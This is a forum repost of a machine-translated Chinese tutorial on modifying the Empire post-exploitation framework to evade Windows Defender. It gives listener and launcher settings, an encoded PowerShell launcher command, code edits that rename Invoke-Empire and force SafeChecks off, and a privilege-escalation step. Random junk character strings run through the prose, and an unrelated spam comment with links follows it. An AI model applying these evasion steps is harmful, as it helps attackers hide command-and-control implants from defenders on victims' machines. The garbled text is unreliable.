• 设为首页
  • 点击收藏
  • 手机APP
    手机扫一扫下载
    华域联盟APP
  • 关注官方公众号
    微信扫一扫关注
    华域联盟公众号

修正Empire绕过Windows Defender(CHU)

[复制链接]
小编 发表于 2019-4-7 22:00:25 | 显示全部楼层 |阅读模式 打印 上一主题 下一主题

马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。

您需要 登录 才可以下载或查看,没有帐号?立即注册 新浪微博登陆

x
  防病毒规避技术不时以来是我最感兴味的研讨方向之一。多年前,当我开端研讨计算机科学时,我向我的顾问提出了一个主题,即经过映射二进制文件中的执行流,来改进防病毒引擎以检测多态病毒。但随着研讨的深化,这个想象最终还是被否决了,所以我选择了另一个研讨课题。
( n" D( k; e5 l2 v+ E5 i  假定你的工作是渗透测试或在红队中,那么防病毒绕过技术将是你必备的一项技艺。但不得不说这也是一个令人懊丧的范畴 – 虽说“基于签名的”防病毒软件在阻止要挟方面并没有太大的作用,但有时却会给我们带来极大的省事。
! l. s4 |* Z2 O0 o  我们知道想要逃避防病毒软件最好的办法就是“编写自己的工具”。例如编写一个自己的简单反向shell,或是假定你有足够的资金预算和时间,那么也能够尝试从头开发一个完善的C2架构。但是,大多数人还是依赖于安全社区中其他人开发的开源(和商业)工具+ _2 P% T+ k2 p# N1 t" J8 Q
  说到这,我不得不提Empire。Empire是一款后渗透应用代理工具,其中包含了各种的攻击工具。这是一款十分强大的工具,假定在执行的过程中没有被防病毒程序标志,那么它完好能够作为攻击性操作的一部分运用。有一段时间,Empire关于逃避像Windows Defender这样的程序十分有用。但往常曾经不行了,假定你创建一个通用的http listener agent payload并在内存中执行,致使还没有触及磁盘,你可能就会看到如下所示内容。
% m% `8 E, @; M: T+ {) @- Z8 U2 N   OEa5D1N6A31vGA30G53z1V.jpg.thumb.jpg 8 X( D3 x1 z. O- S( b
  能够看到,Windows Defender检测并阻止了我们的行为。( H/ T  A% ^: j0 F  |8 u
  但别忘了Empire是一款免费且开源的工具,我们能够经过修正一些关键区域来尝试绕过客户端防病毒软件。" q+ T+ R! C. b3 B
  在我们的测试开端之前,我们先来关闭Windows Defender中的“Cloud-delivered Protection”,特别是“自动样本提交(Automatic sample submission)”。我们不希望我们的任何测试接入互联网,并进入Windows Defender的散布式签名当中。另外,请坚持“实时维护(Real-time protection)”,以便我们测试执行的状况。
* Z2 |. w# |$ r) v# Q* _" t   oGpWMs3vwa1NcmVwAi2MVi.jpg
/ c* x& U6 I  d  C8 s, L' R! Z  记住!无论你做什么,都不要将病毒上传到VIRUS TOTAL!否则你的一切努力都将白费!正如下面你将学到的,即便初始payload经过防病毒检查,Windows Defender也能够检测到Empire。+ b, m0 ]3 f2 w) H
  往常我们的测试实验环境已准备就绪,是时分开端运用Empire了。7 k$ E; _2 d2 s3 _8 Q: |8 Z
  在前几次绕过Windows Defender的尝试中,我设置了Empire launcher payload内的misc选项,但最终都以失败告终。
0 e' \! u. M( f, c: ^  c1 {+ F   OWRymMRYGB555giMruMrYW.jpg $ G9 ]2 C6 r. z6 l
   ob70Qu3zEbEkqXbq0zbnh0.jpg / D  v, h' {0 v3 v& a- W
  接着,我尝试经过混杂的办法来中止绕过。我尝试运用powershell混杂工具来运转有效载荷。经过Unicorn运转它…?失败。经过Veil Framework运转它…?失败。经过Empire自己的原生Invoke-Obfuscation运转它…?还是失败。$ I3 d; |% Q3 m5 Q: O; S2 g
  但我留意到一点,经过运用混杂工具我能够将payload写入磁盘,基本上是绕过了防病毒签名,但在执行时会被检测并阻止。0 {" T1 ~* X- |1 j5 ^6 A
  剖析 Empire) O4 X: q0 m: D) d4 d3 A; D
  Empire生成的初始payload即所谓的“stager”,确切地说应该是stage0 payload。stager是一些代码,用于远程下载和执行另一个stager或理论payload。在我们的示例中,我们将运用multi/launcher powershell stager来获取http listener。" g. |  ?3 V, n
  测试stage0 payload理论上十分简单。生成payload,将其写入文件,然后传输到Windows机器。假定它在命中磁盘时触发防病毒正告,则表示你还有许多其它工作需求做。假定它胜利传送并正常执行,则表示你获取到了一个可用的stager。
" `1 h5 n; q( q5 `  一个十分重要的阐明!在我的测试期间我遇到了一个问题,就是在重复中止payload测试后,Windows Defender很可能会将一切的powershell文件标志为病毒,致使是空文件!假定发作这种状况,请重启VM或计算机。我的见地是,Windows Defender可能知道我正在传输文件的主机是歹意的,因而无论文件是什么,PowerShell都会被遏止执行。
1 J5 u7 ]8 T- _1 P  你可能会感到震惊,生成绕过Windows Defender的multi/launcher stager,只需运用Empire中显现的选项即可完成。但我不会通知你我所运用的确切选项,由于我知道有人会立刻便用它们,并疏忽我的正告将它们上传到Virus Total。但我会向你们展示我倡议修正的选项。
* }0 B, I  A+ L+ j1 y6 x  倡议修正的 Empire http listener 选项1 n6 R; g" [+ T
  选项描画默许默许配置文件Empire将在不同时间调用的三个URL以及User-Agent字符串。/admin/get.php,/news.php,/login/process.php|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko效劳器版本Web效劳器版本标识符Microsoft-IIS/7.5主机你的主机(或IP)和端口号。5 c+ x  p* ~9 h" [* K# z) N
  端口应与指定的主机端口相同 用户代理Empire为模仿真实的Web阅读器流量而发送的用户代理。Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36StagerURI向Stager提供的URI。必需包括/download才干工作,而不需求中止额外的修正。
$ x  q- E4 p, y  证书途径设置Empire时默许的自签名证书位于./Empire/Data。依据环境的复杂水平,自签名证书可能不起作用。Windows Defender不介意自签名证书。  L) H# Y: ^. Z/ p+ _4 M5 h7 J$ s
  默许Jitter向Empire效劳器发送信标呼叫时的随机延迟。0.0Launcher用于执行stager的命令。powershell -noP -sta -w 1 -enc
  x8 r# O# {8 G* r9 S0 W  倡议修正的 Empire multi/launcher 选项
& ]* R8 p$ H& M/ S" ]9 S) o  选项描画默许Listener此项为必设项 UserAgent用户代理字符串 SafeChecks尝试检测launcher能否在沙箱中运转。True混杂混杂自动生成的launcher代码。False混杂命令运用的混杂命令。TokenAll,LauncherSTDIN++T67' O$ b/ |7 o8 A& K7 I9 H: ^  C& h1 h
  这里给大家一个提示。将SafeChecks设置为false。SafeChecks试图肯定stager能否在防病毒沙箱中运转。此外,这也会减少大量生成的代码,但由于我们被防病毒软件检测到了,因而显然无法正常工作。! I# K7 B7 m. _. ^
  有了这样一个被我们“武器化”的payload,是不是意味着我们就一定能够运转Empire?如下所示payload将执行,并且你会看到一个初始衔接Sending stage 1!接着便呈现了问题。. P! |8 J3 I1 d0 t; s4 b4 S; z5 M
   CsHK0t8wKO580W087Wf878.jpg
) i) V" V4 m$ Q9 r3 v& ^3 I  在测试期间,我决议关闭防病毒维护,在Windows主机上启动Empire,然后重启防病毒软件。令我兴奋的是,我的Empire beacon并没有死!只需我们能让Empire启动就行。但为什么无法启动呢?" V4 p# D# e4 c; Y
  深化挖掘Empire代码库会生成stage1代码。这段代码树立了加密安全环境以规避检测,但它自身并没有以任何方式中止编码。经过一些测试和错误之后,编辑了文件和某些部分,我肯定应该问题应该出在invokeEmpire函数名。正如Black Hills Information Security文章中所倡议的那样,将函数名更改为invoke randomstringhere是阻止检测的必要伎俩。固然我们要做的只是修正invokeEmpire函数名,但假定你能进一步的更改stage1代码,那无疑将是庞大的加分项。0 v# G" y' q- p. k" H- Y
  Edit: ./Empire/data/agent/stagers/http.ps1:
' n, j/ z3 Z' R; t1 u  Invoke-Empire -Servers @(($s -split "/")[0..2]- U2 k, u' }% }8 {
  -join "/") -StagingKey $SK -SessionKey $key -SessionID $ID -WorkingHours "WORKING_HOURS_REPLACE" -KillDate "REPLACE_KILLDATE" -ProxySettings $Script:Proxy;
/ t6 o4 p& S: i) I* q5 [4 v4 C  Edit: ./Empire/data/agent/agent.ps1
2 Z4 e7 O* ~, p. Z  k$ s/ o! ]3 |9 ~  function Invoke-Empire {
: E' G+ F6 M$ n( J$ q6 [  让我们再次尝试运转我们的Empire stager。
' _5 ~9 K# G4 I) [6 l' v' e, v   PD6o21RCnjV1CeDE9f1PP2.jpg
+ ^" X6 l% b; A2 v  能够看到我们胜利绕过了Windows Defender!6 @5 h2 l" b# G9 ]8 r) S4 ~6 `
  由于是在完好修补的Win10主机上运转测试,因而提权的办法并不多。所以,让我们尝试一下powershell/privesc/ask模块,它会弹出一个对话框,讯问用户能否要以管理员身份运转powershell。漏洞应用胜利弹出了对话框,这是一个好兆头!我点击是!但是什么也没发作。
, H; F/ j& X9 Z! G3 ?8 U; a8 ]8 D6 m  我招认这让我感到有些困惑。假定我的stagers在初始应用时工作,那么为什么不能提权呢?经过一些调试之后,我能够捕获运用privesc/ask模块发送的stager。固然它包含了我在multi/launcher配置中设置的一些修正,但有一个明显的区别。它还包含了我们之前设置为False的SafeChecks代码!
; J. M; g* ^: T% J% `. O   acTRcwwFZGFFm5Gmzo0R6r.jpg.thumb.jpg 9 g2 K, G/ e9 c" R; f2 T
  我不肯定这里包含的SafeChecks,能否是由于Empire中存在的bug招致的。但是,SafeChecks代码当前存在问题,似乎已被该Empire bug所证明。只需将选项设置不时坚持为 False,就能够处置我们的问题。- I! H7 W3 f& `0 h: K+ m  p3 l
  Edit: ./Empire/lib/listeners/http.py:; i( C) B% G, Y5 G5 o5 C% w7 L* M
  def generate_launcher(self, encode=True, obfuscate=False, obfuscationCommand="", userAgent=default, proxy=default, proxyCreds=default, stagerRetries=0, language=None, safeChecks=, listenerName=None)
8 u, m* P) p$ W/ v  """$ r8 O1 L/ q4 D3 ]$ |
  Generate a basic launcher for the specified listener.
, |& ]9 p* O  g  """
% W( b% a. X% h8 x) O/ M$ K5 S  # Add this line to override SafeChecks. ?" D) J! E$ x  i" V! w& Z
  safeChecks=False( C6 Y7 `# g) M( M% P
  运转`python -m compileall`并重启Empire。然后启动powershell/privesc/ask。
* r! Z% |( D8 K; @   Bc0FscSQCsBQd5m0XMx62C.jpg
" Y; G+ r" b4 ~  

点评

海!外直播 t.cn/RxmJTRa 禁闻视频 t.cn/RJJZmvp 听说伦敦奥运上刘翔负伤,央视早已知道,做了四套解说预案。 外媒体在报导这件事时说:“刘翔知道、央视知道、指导知道,只需观众在傻等奇迹”   发表于 2019-4-11 16:16

精彩评论1

发布主题
阅读排行 更多
广告位

扫描微信二维码

关注华域联盟公众号

随时了解更新最新资讯

admin@cnhackhy.com

在线客服(服务时间 9:00~18:00)

在线QQ客服

Powered by cnhackhy! © 2015-2019